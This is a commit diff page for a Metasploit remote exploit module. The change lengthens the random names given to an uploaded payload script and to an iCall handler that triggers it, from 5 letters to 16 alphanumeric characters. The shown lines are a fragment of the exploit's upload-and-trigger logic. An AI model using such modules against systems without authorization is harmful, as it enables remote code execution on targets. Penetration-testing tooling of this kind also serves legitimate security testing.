Use slightly larger random script/handler names to avoid conflicts
parent
e7307d1592
commit
e4bf5c66fc
|
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status('Uploading payload script...')
|
||||
|
||||
script_name = Rex::Text.rand_text_alpha_lower(5)
|
||||
script_name = Rex::Text.rand_text_alphanumeric(16)
|
||||
create_script_res = create_script(script_name, cmd)
|
||||
unless create_script_res && create_script_res.code == 200
|
||||
print_error("Upload payload script failed")
|
||||
|
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# phase 2: create iCall Handler, that will actually run the previously created script
|
||||
print_status('Creating trigger...')
|
||||
handler_name = Rex::Text.rand_text_alpha_lower(5)
|
||||
handler_name = Rex::Text.rand_text_alphanumeric(16)
|
||||
unless create_handler(handler_name, script_name, interval)
|
||||
print_error('Payload script uploaded but trigger creation failed')
|
||||
delete_script(script_name)
|
||||
|
|
Loading…
Reference in New Issue